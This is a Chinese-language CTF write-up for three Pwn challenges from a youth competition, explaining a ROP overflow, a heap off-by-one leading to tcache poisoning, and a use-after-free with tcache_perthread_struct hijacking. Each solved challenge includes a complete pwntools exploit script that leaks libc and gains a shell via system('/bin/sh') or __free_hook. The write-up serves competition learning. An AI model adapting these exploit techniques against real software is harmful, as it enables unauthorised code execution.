强网杯青少年Pwn 初赛 & 决赛 - 个人题解
目录跳转: |
---|
初赛 PWN: clock_in - 附Exp |
初赛 PWN: journey_story - 附Exp |
决赛 PWN: youth_memory_album (tcache_perthread_struct 劫持) - 附Exp |
决赛 PWN: smart_home - 未更新 |
文件下载: |
---|
clock_in.zip |
journey_story.zip |
smart_home.zip |
youth_memory_album.zip |
本文章作者为 leeya_bug,不遵循 CC 协议,禁止转载
pwn clock_in
这个题是 rop,主程序不偏移.
首先发现,该程序有后门 gadget,该 gadget 最终将 rbp 赋值到 rdi. 可以发现直接通过该 gadget 不仅能控制 rdi,还能控制 rip.
首先溢出到一定字节,跳转到后门 gadget
通过后门 gadget 控制 rdi 为 puts_ptr,使 rip 跳到 get_info 中的 call _puts,就可以将 puts 函数地址打印出来以获取 libc 偏移地址
在获得 libc 基址后,使 rip 跳到 main 函数全部重新来一遍,再利用 后门 gadget 控制 rdi 为 /bin/sh
字符串地址,rip 跳到 system 即可获取 shell
EXP
#by leeya_bug
from pwn import *
import time
SLEEP_TIME = 0.2
libc = ELF('./libc.so.6')
p = process('./debug/clock_in')
p.sendlineafter(b'info:', b'a' * 64 + p64(0x403Fd8) + p64(0x00000000004011BD) + p64(0x0000000000401218))
p.recvuntil('entered:')
output = u64(p.recv()[-8:].strip(b'\n') + b'\x00\x00')
libc_base = output - 0x87bd0
libc.address = libc_base
binsh = libc_base + 0x00000000001CB42F
time.sleep(SLEEP_TIME)
p.sendline(p64(0x0000000000401253) * 13)
time.sleep(SLEEP_TIME)
p.sendline(b'a' * 64 + p64(binsh) + p64(0x00000000004011BD) + p64(libc.symbols['system']))
p.interactive()
pwn journey_story
这个堆题有越界写入漏洞. 简单举个例子描述一下:
如果用户 Alloc 了一个大小为 0x88 的 chunk,用户实际上可以多写入 1 个字节. 看起来似乎没什么用,就靠这一两个字节实际上无法写入到下一个 chunk 的 header size 中.
但这个题存在逻辑问题,当用户指定 Alloc 一个大小为 0x88 的 chunk 时,其只会 Alloc 一个 0x80 chunk. 这样实际多可写入 8 个字节,加上之前的 1 个正好凑成 9 个字节,直接覆盖掉下一个 chunk 的 size header.
0x5629777ba4d0: 0x0000000000000000 0x0000000000000091
...
跳过 0x80 个字节显示
...
0x5629777ba560: 0x0000000000000000 0x0000000000000091
在这里有了理论基础,就直接可以打 tcachebin attack. 现在我展示下打的流程:
-
首先 free 7 个 0x80 tcache bin,好让下一个 free 进 unsorted bin. 然后再在 tcache bin 的中间 free 一个 0x80 chunk 使得 unsorted bin 夹在 tcache bin 中间,防止和 chunk top 合并. 再将 unsorted bin 低地址的两个 tcache bin 还原到 chunk,关键结构如下所示
低地址------ chunk_1 0x91 chunk_2 0x91 unsorted bin 0x91 fd: main_arena bk: main_arena 高地址------
-
而后通过上面的越界写入漏洞,将 chunk_2 的 header 写为 0xa1,然后 free chunk_2 进 tcache bin 并重新 Alloc.
这样 chunk_2 就从 0x80 拓宽到了 0x90,刚好覆盖 unsorted bin 的 header
chunk_1 0x91 chunk_2 0xa1 unsorted bin 0x91 fd: main_arena bk: main_arena
-
操控 chunk_2 将 chunk_2 和 unsorted bin header 写满为
0x61
,然后打印 chunk_2. 当没有\x00
时他将会一直打印,这样就能成功打印出 unsorted bin fd,成功获得 libc 偏移地址chunk_1 0x91 chunk_2 0xa1 0x61616161 0x61616161 0x61616161 0x61616161 fd: main_arena bk: main_arena
以上唯一需要注意的点是,如果正常填充,当前输入的字符数量 < size 数量,尾部字节即为 \n
,这样就会在尾部增加一个 \x00
字节如下第二个红线所示.
由于 \x00
截断无法输出 fd. 因此在这里可以 先填充满 0x88 字节空间,然后再多填充一个 \xe0
(main_arena 的尾部字节固定为 \xe0
),可以通过这种方式覆盖到 main_arena 的尾部为原字节,如下红圈所示,并且没有 \x00
截断
输出 chunk_2 获得 libc 后,由于这是 GLIBC 2.31 版本可以打 __free_hook
,因此可以直接用以上思路,修改最前的一个 tcache bin fd 地址到 __free_hook
而后按顺序 Alloc 两个 chunk,一个作为被 free 后的 rdi 填充 /bin/sh\x00
,一个用来修改 __free_hook
位置的内存到 system
函数,这样就可以调用 system("/bin/sh")
,获取 shell 权限
alloc(0x88, b'/bin/sh\x00') # 1
alloc(0x88, p64(libc.symbols['system']))
delete(1) # free 时 rdi 为 chunk_1 的地址,即为 /bin/sh 的地址
EXP
# by leeya_bug
from pwn import *
import time
import os
SLEEP_TIME = 0.2
context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'
p = process('./debug/journey_story')
libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def debug():
subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -p {p.pid}' '''])
p.interactive()
# ------------- 基本配置 -------------
def add(size: int, story: bytes) -> None:
p.sendlineafter(b'Choose an option:', b'1')
p.sendlineafter(b'Enter the size of your story', str(hex(size)).encode())
p.sendlineafter(b'Enter your story', story)
def delete(index: int) -> None:
p.sendlineafter(b'Choose an option:', b'2')
p.sendlineafter(b'(0-31):', str(index).encode())
def update(index: int, story: bytes) -> None:
p.sendlineafter(b'Choose an option:', b'3')
p.sendlineafter(b'(0-31):', str(index).encode())
p.sendlineafter(b'Enter your updated story', story)
def view() -> bytes:
p.sendlineafter(b'Choose an option:', b'4')
return p.recvuntil(b'1. Add story').strip(b'1. Add story')
# --- alloc ----
for i in range(0, 12):
add(0x88, b'nothing here')
for i in range(7, 12):
delete(i)
delete(5)
delete(4)
delete(6)
add(0x88, b'nothing here') # 5 size 0x90
add(0x88, b'nothing here') # 4 size 0x90
update(4, b'a' * 0x80 + b'\x00' * 8 + b'\xa1')
delete(5) # delete 5, and renew 5 from 0x90 to 0xa0
add(0x90, b'nothing here') # 5 size 0xa0
update(5, b'Addr1:'.rjust(0x90, b'a') + b'\xe0')
data = view()
data1 = data.split(b'Addr1:')[1].split(b'\n')[0]
leak_addr = u64(data1.ljust(8, b'\x00'))
libc_base = leak_addr - 0x1ecbe0
libc.address = libc_base
print(hex(libc.symbols['__malloc_hook']))
print(hex(libc_base))
add(0x88, b'nothing here') # 6
add(0x88, b'nothing here') # 7
add(0x88, b'nothing here') # 8
# 8 low
# 7
# 6 high
update(8, b'a' * 0x80 + b'\x00' * 8 + b'\xa1')
delete(6)
delete(7) # delete 7, and renew 7 from 0x90 to 0xa0
add(0x98, b'a' * 0x90 + p64(libc.symbols['__free_hook'])[:-1])
add(0x88, b'/bin/sh\x00') # 7
add(0x88, p64(libc.symbols['system']))
delete(7)
p.interactive()
pwn youth_memory_album
这个题是决赛题,难度和初赛的堆题不分上下,出的人数还是不少
这个题的漏洞点在于 free 后能继续写入、查看,这就意味着能够随意修改 tcachebin 的 fd,搭配 tcachebin attack 就能造成任意地址写入.
对于这个题,常规 tcachebin attack 如下所示
alloc(1, ...)
alloc(2, ...)
free(3)
free(4)
edit(4, {要写入的内存地址})
alloc(5) # 4
alloc(6) # 写入的内存地址
笔者需要 free unsortedbin、获取 libc 地址、修改 _hook 函数,但是题目下标限制了只能 alloc 12 个 chunk. 如果每次操作都需要花费 3 ~ 4 个 chunk,那么必然是超过 12 的.
因此必须换一种思路做. 首先可以通过漏洞查看 0x40 tcachebin 的 fd,推测到当前堆地址
再通过当前堆地址,反推 0x40 bin head 和 0x40 bin size 的地址
然后只需要 tcachebin attack 控制住这两个地址,那么后续再修改其他地址时,就不需要构造冗长的 tcachebin attack,直接修改 bin size 和 bin head 指向被修改的地址,然后 alloc 一个 chunk,该 chunk 就会指向被修改的地址
# size40_head_addr 为 bin head
# size40_addr 为 bin size 标志地址
# 在这里首先通过 tcachebin attack 指向 bin head
edit(2, p64(size40_head_addr) + p64(size40_addr))
add(3, b'nothing here')
add(4, b'nothing here') # size40_head_addr
delete(3)
def edit_head(addr: int):
edit(4, p64(addr))
# 指向 bin size
edit_head(size40_addr)
add(5, p32(0) + p32(4))
def edit_size(size: int):
edit(5, p32(0) + p32(size))
# 一个修改内存的示例,于 tcachebin attack 相比,大大节约 alloc 数量
edit_size(4)
edit_head(libc.symbols['__free_hook'])
add(8, p64(libc.symbols['system']))
这里只差泄露 libc 地址了,在这里笔者借用了一开始程序为了记录用户姓名而 alloc 的大小为 0x300 的 chunk 构造 unsorted bin. 该 chunk 的地址同样可以推断出来
至于怎么填满 0x300 的 tcachebin 呢?在此笔者首先推断出了 0x300 tcachebin 的 bin size,而后直接写入标志位为 7,即可一键填满空间
# size300_addr 即为 0x300 的 bin size 标志地址
edit_size(4)
edit_head(size300_addr - 0x8)
add(6, p64(0) + p64(0x0007000000000000))
在此,再 free 一下一开始的 0x300 chunk,即可成功将其放入 unsorted bin 泄露 libc 基址. 后面只需要 向 __free_hook
写入 system 地址,并 free 一个内容为 /bin/sh
的 chunk,即可成功 getshell
EXP
# by leeya_bug
from pwn import *
import time
import os
SLEEP_TIME = 0.2
context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'
p = process('./debug/youth_memory_album')
libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def debug():
subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -p {p.pid}' '''])
p.interactive()
u64_ = lambda a: u64(a.ljust(8,b'\x00'))
# ------------- 基本配置 -------------
def input_name(name: bytes) -> None:
p.sendlineafter(b'Please input your name:', name)
def add(index: int, memory: bytes) -> None:
p.sendlineafter(b'Your choice:', b'1')
p.sendlineafter(b'Album entry number:', str(index).encode())
p.sendlineafter(b'Write your memory:', memory)
def edit(index: int, memory: bytes) -> None:
p.sendlineafter(b'Your choice:', b'2')
p.sendlineafter(b'Album entry number to edit:', str(index).encode())
p.sendlineafter(b'Edit your memory:', memory)
def view(index: int) -> bytes:
p.sendlineafter(b'Your choice:', b'3')
p.sendlineafter(b'Album entry number to view:', str(index).encode())
p.recvuntil(b'Memory content:')
return p.recvuntil(b'========== Youth Memory Album ==========').strip(b'========== Youth Memory Album ==========')
def delete(index: int) -> None:
p.sendlineafter(b'Your choice:', b'4')
p.sendlineafter(b'Album entry number to delete:', str(index).encode())
input_name(b'leeya_bug')
# 获取 tcachebin 堆地址和 bin size 地址
add(1, b'nothing')
add(2, b'nothing')
delete(1)
delete(2)
chunk_1_addr = u64_(view(2).ljust(8,b'\x00')) - 0x10
chunk_2_addr = chunk_1_addr + 0x40
chunk_fake_addr = chunk_2_addr + 0x10
chunk_name_addr = chunk_1_addr - 0x310
print(f'chunk_name_addr: {hex(chunk_name_addr)} ')
print(f'chunk_1_addr: {hex(chunk_1_addr)} ')
print(f'chunk_2_addr: {hex(chunk_2_addr)} ')
print(f'chunk_fake_addr: {hex(chunk_fake_addr)} ')
edit(2, b'a' * 8)
bin_base = u64_(b'\x10' + view(2).strip(b'a' * 8)[1:]) - 0x10
size40_addr = bin_base + 0x10
size40_head_addr = bin_base + 0xa0
size300_addr = bin_base + 0x68
print(f'size40_addr: {hex(size40_addr)} ')
print(f'size40_head_addr: {hex(size40_head_addr)} ')
print(f'size300_addr: {hex(size300_addr)} ')
# alloc 一个 chunk 到 0x40 bin head,控制 bin head
edit(2, p64(size40_head_addr) + p64(size40_addr))
add(3, b'nothing here')
add(4, b'nothing here') # size40_head_addr
delete(3)
def edit_head(addr: int):
edit(4, p64(addr))
# alloc 一个 chunk 到 0x40 bin size,控制 bin size
edit_head(size40_addr)
add(5, p32(0) + p32(4))
def edit_size(size: int):
edit(5, p32(0) + p32(size))
edit_size(4)
edit_head(size300_addr - 0x8)
# 修改 unsortedbin size 为 7
add(6, p64(0) + p64(0x0007000000000000))
edit_size(4)
# alloc 一个 chunk,在程序最开始运行时为了输入名称而 alloc 的 0x300 chunk,并 free 它使其进入 unsortedbin
edit_head(chunk_name_addr + 0x10)
add(7, b'nothing here')
delete(7)
libc_offset = u64_(view(7))
libc_base = libc_offset - 0x1ecbe0
libc.address = libc_base
print(f'libc_base: {hex(libc_base)} ')
print(f'__free_hook: {hex(libc.symbols['__free_hook'])}')
edit_size(4)
edit_head(libc.symbols['__free_hook'])
add(8, p64(libc.symbols['system']))
edit_size(4)
edit_head(chunk_2_addr + 0x20)
# alloc 一个 chunk 内容为 "/bin/sh",在 free 时其 rsi 即为 &"/bin/sh"
add(9, b'/bin/sh\x00')
delete(9)
p.interactive()
pwn smart_home
明天更新
(完)